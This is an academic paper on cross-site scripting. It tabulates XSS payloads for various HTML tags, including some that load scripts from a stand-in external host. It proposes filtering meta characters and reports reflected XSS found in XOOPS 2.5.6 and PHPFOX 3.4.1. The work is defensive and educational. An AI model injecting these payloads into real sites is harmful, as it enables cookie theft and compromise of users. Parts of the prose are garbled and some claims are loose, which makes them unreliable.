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ABSTRACT 

 
 Every day there are many new websites being designed. But many web designers do not pay attention to security of the website and 
as a result, many websites are easily compromised by hackers, therefore it is important to be aware of the top web vulnerability today. In 
this paper we will introduce Cross Site Scripting Vulnerability in Web Application and explain XSS attack in html tags then will show a 
technique for prevent XSS attacks. Our technique can significantly reduce XSS attack in a dynamic website and can extend for preventive 
other web vulnerability. 
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INTRODUCTION 
 
 Hackers are usually utilizing a broad repertoire 
of hacking techniques to be able to successfully 
compromise a website and get away with a trove of 
private data including card numbers, sociable 
confidence numbers or medical records [1]. Cross 
Site Scripting (also known as XSS and CSS) is 
normally believed to be one of the most commonly 
used hacking techniques. According to the 2011 Web 
Hacking Incident Database Report (Figure 1), XSS 
attacks are the fourth most popular attack and   many 
other attack methods [2], such as Information 
Disclosures, Content Spoofing, Remote code 
execution and Stolen Credentials could be side-
effects of an XSS attack.  
 In general, cross-site scripting describes a 
hacking technique which leverages vulnerabilities in 
the source code of a web application form to permit 
an attacker to submit malicious content from an end-
user and receive some sort of data during the attack 
[3]. Today, websites are heavily depending on 
complex web programs generating different content 
for various users based on predefined preferences 
and targeted needs. Such architecture enables them to 
provide better value to their customers and prospects 
[4]. But, many vibrant websites suffer key 
vulnerabilities by having weak rendering services 
and thus are vulnerable to cross site scripting on their 
own data. A usual website contains either text or 

HTML markup that's generated by the server and 
then interpreted by the user‟s browser. Websites 
which generate just static pages are able to have full 
control over the way how their outputs are 
interpreted by the client. Websites that produce 
dynamic pages lack complete handle on how their 
own outputs are construed by the client. The heart of 
the problem is to be able to recognize that malicious 
content can be introduced into a dynamic page, 
neither by the web site or by the end user, and have 
enough information to realize that this has happened 
and take protective actions. 
 Cross Website Scripting make it possible for an 
attacker to be able to embed malicious JavaScript, 
VBScript, ActiveX, HTML, or Flash into a 
vulnerable vibrant screen to fool the user, executing 
the script on his machine to gather info [5]. The use 
of XSS could compromise personal information, 
change or steal cookies, bring requests that are not 
valid for any of the valid customer, or execute 
malicious code on the end-user PC. The data can be 
formatted as a hyperlink containing malicious 
content. As a hacking tool, the attacker can create 
and also distribute one custom-crafted CSS URL by 
using one browser to check the dynamic web site 
response. The attacker also needs to understand some 
HTML, JavaScript and a dynamic script language to 
create an URL that is not too suspicious-looking, in 
order to attack a XSS-vulnerable web site [6]. 
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Figure 1: Web attacks according to Web Hacking Incident Database Report 

 

 Any website which passes parameters to a 

database is vulnerable to such hacking tool [7]. 

Usually these attempts are done in many Login or 

Forgot Password variations. Current Web 

applications usually don‟t have static HTML profiles. 

They are dynamic and also created with generated 

content. Latest web pages pull data from many 

different sources. This data is actually merged with 

the web pages and can also include simple text and 

pictures, and may also contain HTML tags such as 

<p> for section, <img> for images and <script> for 

scripts. Many times the hacker will use the 

„messages‟ feature inside your website to add a 

comment containing a script. Any customer who 

submits a comment may download the script that will 

be executed on his screen, causing unwanted 

behavior. Something as simple as Facebook submit 

on your side might include a malicious script, which 

normally would be eliminated on the Facebook 

servers, but will be injected to the Wall and will be 

executed on the screen of every person that visits 

your Facebook profile [1]. 

 

XSS Vulnerability in HTML Tags: 

 The XSS vulnerability may found in any tag of 

html [8]. In Table 1 we have shown some of these 

tags and their relation with XSS vulnerability. 

 
Table 1: XSS Vulnerability in HTML Tags. 

Tags Description Example XSS Attack 

<SCRIPT> The <SCRIPT> tag is one of 

popular method and also sometimes 

ideal to be able to detect. It will 
redirect in the following variety 

External script. 

<SCRIPT SRC=https://malicus-site.com/xss.js></SCRIPT>  

Or Embedded scripts such as: 

<SCRIPT> alert (“this XSS vulnerability”); </SCRIPT>  

<BODY> The <BODY> tag can include an 

embedded script using the 
ONLOAD occasion. 

 

<BODY ONLOAD= alert ("this XSS vulnerability ")>  

The BACKGROUND feature can be mention exploited: 

<BODY BACKGROUND="javascript:alert(' this XSS vulnerability ')">  

<IMG> A few browsers may perform a 

script on found in the <IMG> tag 
when shown following. 

 

<IMG SRC="javascript:alert ('this XSS vulnerability ');">  

<IFRAME> The <IFRAME> tag allows you to 
import HTML into a page. This 

important HTML can contain a 

script. 
 

<IFRAME SRC=” https://malicus-site.com/xss.html”>  

<INPUT> If the TYPE feature of the 

<INPUT> tag is actually decided to 
“IMAGE”, it might be manipulated 

to embed one script. 

<INPUT TYPE="IMAGE" SRC="javascript:alert(' this XSS  

vulnerability ');">  
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Table 1: XSS Vulnerability in HTML Tags (continue) 

Tags Description Example XSS Attack 

<Table> The feature of the TABLE tag can 
be exploited. 

 

The BACKGROUND feature of TABLE tag can be exploited. 

<TABLE BACKGROUND="javascript:alert(' this XSS vulnerability  

')">  

The same affects the <TD> tag, accustomed to different cells within a table. 

<TD BACKGROUND="javascript:alert(' this XSS vulnerability ')">  

<DIV> The <DIV> tag, similar to the 
<TABLE> and also <TD> tags are 

able to indicate a past and therefore 

embed a script. 
 

<DIV STYLE="background-image: url(javascript:alert(' this XSS  

vulnerability '))">  

the <DIV> STYLE attribute are often manipulated in the following method 

<DIV STYLE="width: expression(alert('this XSS vulnerability '));">  

<OBJECT> The <OBJECT> tag are used to pull 

a script from an external website 
with  method: 

 

<OBJECT TYPE="text/x-scriptlet" DATA="https:/malicus-site.com  

/xss.html">  

<Embedded> Once the hacker places one 

malicious script inside a flash 
report, it can be injected: 

 

<EMBED SRC="https:/malicus-site.com /xss.swf"  

AllowScriptAccess="always">  

 

Our Approach to Prevent XSS Attacks: 

  In all XSS attack, attackers need to use 

JavaScript to perform their action. All JavaScript 

commands use a  

 

Meta character such as below code: 

<IMG SRC="javascript:alert ('this XSS vulnerability 

');"> 

 In the above code, the attacker has used a meta 

character but in general, users don‟t need to use this 

meta character in a field of web site such as comment 

field, name field, search field and etc. by filtering 

meta character in fields of website, attackers cannot 

use JavaScript to do their own action. Because if 

attacker inserts JavaScript code in inputs field, they 

are filtered and are not processed by the server. This 

means that we must use filtering mechanisms. To do 

so, we must create a library from Meta character, and 

then check all input fields of website against them, 

and when any field has the Meta character, we 

replace it with blank. If we need Meta character in 

input fields we can replace this field with numerical 

value then process them. The example replacements 

are shown in Table 2. 
 

Table 2:  Replace Meta character with numerical value. 

Meta character Numerical value 

" 

# 

& 

' 

( 

) 

/ 

; 

< 

> 

&#34 

&#35 

&#38 

&#39 

&#40 

&#41 

&#47 

&#59 

&#60 

&#62 

 

  Figure 2 show our approach to prevent XSS 

attacks. First user (or attacker) enters text and Meta 

character in input fields then all content of input 

fields check against meta character that are storing in 

the Meta character library. If input fields have Meta 

character, the replacer block replaces them with 

numerical value and at last the fields content are 

processed. 
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Fig. 2: The process of replacement Meta character. 

 

Case Study: 

 We describe 2 case studies about XSS 

vulnerability at XOOPS CMS and PHP FOX script at 

below. This vulnerabilities found by our 

experimental testing at this two CMS. 

 

Case Study I: 

 XOOPS is an Open Source Content 

Management System (CMS) and is used widely by 

designers to make dynamic websites. We found in 

XOOPS 2.5.6 several XSS vulnerabilities. The 

vulnerability was affecting some variables at below 

files: 

[URL OF SITE]/banners.php  

[URL OF SITE]/register.php  

[URL OF SITE]/user.php 

 

  
 

Fig. 3: Using filtering Meta character in XOOPS CMS. 

 

 When URI was set to "onmouseover=„prompt 

(930269)'bad="> the input was reflected inside a tag 

parameter between double quotes. For patching this 

vulnerability we use the mentioned above approach. 

// Handle the type constraint 

+        switch (strtoupper($type)) { 

+            case 'INT': 

+            case 'INTEGER': 

+                // Only use the first integer value 

+                preg_match('/-?[0-9]+/', (string) $source, $matches); 

+                $result = @ (int) $matches[0]; 

+                break; 

+ 

+            case 'FLOAT': 

+            case 'DOUBLE': 

+                // Only use the first floating point value 

+                preg_match('/-?[0-9]+(\.[0-9]+)?/', (string) $source, 

$matches); 

+                $result = @ (float) $matches[0]; 

+                break; 

+ 

+            case 'BOOL': 

+            case 'BOOLEAN': 

+                $result = (bool) $source; 

+                break; 

 

+            case 'WORD': 

+                $result = (string) preg_replace('/[^A-Z_]/i', '', $source); 

+                break; 

+ 

+            case 'ALNUM': 

+                $result = (string) preg_replace('/[^A-Z0-9]/i', '', 

$source); 

+                break; 

+ 

+            case 'CMD': 

+                $result = (string) preg_replace('/[^A-Z0-9_\.-]/i', '',  
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Figure 3 show some part of source code for filtering 

the Meta character. Full source code available at 

Source Forge 

(http://sourceforge.net/p/xoops/svn/12083/). 

 

Case Study II: 

  We also found XSS vulnerability in PHPFOX 

v3.4.1. PHP FOX is a commercial script for social 

network. The vulnerability has affected the 

“ajax.php” file at this URL: 

  [URL of Site]/static/ajax.php 

  URL encoded POST input block_id was set to 

'"()&%1<ScRiPt >prompt(983655)</ScRiPt> and 

encoded GET input message was set to 

'"()&%1<ScRiPt >prompt(990170)</ScRiPt>. Above 

parameters were not correctly sanitized before being 

used. 

 

Conclusion: 

  In this paper we introduce XSS attack and the 

importance of preventive techniques, and then we 

show some examples of XSS attack using HTML 

tags. And finally we present our approach for 

preventing XSS attack in dynamic website, which is 

by using filtering of Meta characters, and which 

could be used in many Content Management Systems 

by doing small change in input fields of websites. 

Our approach also can prevent for other attack such 

as SQL injection. 
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